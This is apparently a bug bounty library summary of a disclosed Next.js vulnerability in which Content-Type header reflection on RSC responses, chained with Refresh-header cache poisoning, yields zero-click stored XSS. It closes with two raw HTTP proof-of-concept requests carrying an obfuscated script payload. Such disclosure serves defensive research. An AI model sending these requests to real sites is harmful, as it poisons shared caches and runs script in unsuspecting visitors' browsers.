# Re:CACHE - Excessive reflection, type confusion, and 0-click SXSS on Next.js

Header reflection in Next.js App Router let attackers override Content-Type on RSC responses, turning reflected URL params into cached zero-click SXSS via a two-stage Refresh-header cache poisoning chain.

- Payout: $10,000
- Severity: high
- Program: Vercel
- Disclosed: 2026-06-03
- Write-up quality: 9/10
- Original: https://zhero-web-sec.github.io/research-and-things/re-cache-excessive-reflection-type-confusion-and-0-click-sxss-on-nextjs
- Library page: https://bugbountylibrary.com/r/blog%3Azhero-web-sec-github-io-research-and-things-re-cache-excessive-reflection-type-confusion-and-0-click-sxss-on-nextjs
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:research sev:high tech:nextjs tech:react technique:chained vuln:cache-deception vuln:cache-poisoning vuln:xss

**Target:** Next.js App Router RSC endpoint behind Cloudflare cache
**Root cause:** Incoming request headers are mirrored into response headers, and Next.js only sets Content-Type if absent, so a client-supplied Content-Type: text/html overrides the RSC text/x-component type while URL params are reflected unescaped in the RSC payload.
**Steps:**
1. Send `GET /targeted-path?pwn=<img+src=x+onerror=...>` with headers `Rsc: 1` and `Content-Type: text/html` to get the RSC payload reflected as HTML and cached under the payload URL.
2. Send `GET /` with header `Refresh: 0; https://targeted-site.com/targeted-path?pwn=<same payload>` to poison the home page cache with a redirect to the poisoned path.
3. Victim visits `/`, gets cached Refresh header, browser auto-navigates to the poisoned path, XSS fires with no click.
**How found:** Noticed request headers reflected into response headers, hypothesized RSC payload could be re-typed via Content-Type override, confirmed URL params reflected unescaped after __PAGE__ marker, then chained Refresh-header poisoning to remove the click requirement.
**Exploitation:** Two-stage cache poisoning: first poison a dynamic path so its RSC payload is served as text/html with the XSS payload in a query param (cache key), then poison the home page with a Refresh header pointing to that exact URL. Any visitor to the home page is auto-redirected to the stored XSS.
**Escalation:** Used Refresh header instead of Location to work on patched versions (Location ignored on 200) and to keep status code cacheable; avoided dependence on CVE-2025-57822 SSRF.
**Insight:** When a framework only sets Content-Type if absent, try supplying it yourself on RSC/JSON endpoints to flip the rendering context; and use the Refresh response header (works on 200, cacheable) as a Location substitute to convert reflected XSS into zero-click cached SXSS.

## Proof of concept (copied exactly from the original report)

**Poison target path with RSC payload and Content-Type override**

```
GET /targeted-path?pwn=<img+src=x+onerror=b='0)';a='javascript'%2b':'%2b'alert'%2b'(';frames['loca'%2b'tion']=a%2bb> HTTP/1.1
Host: targeted-site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Rsc: 1
Content-Type: text/html
```

**Poison home page with Refresh header redirect**

```
GET / HTTP/1.1
Host: targeted-site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:149.0) Gecko/20100101 Firefox/149.0
Refresh: 0; https://targeted-site.com/targeted-path?pwn=<img+src=x+onerror=b='0)';a='javascript'%2b':'%2b'alert'%2b'(';frames['loca'%2b'tion']=a%2bb>
```

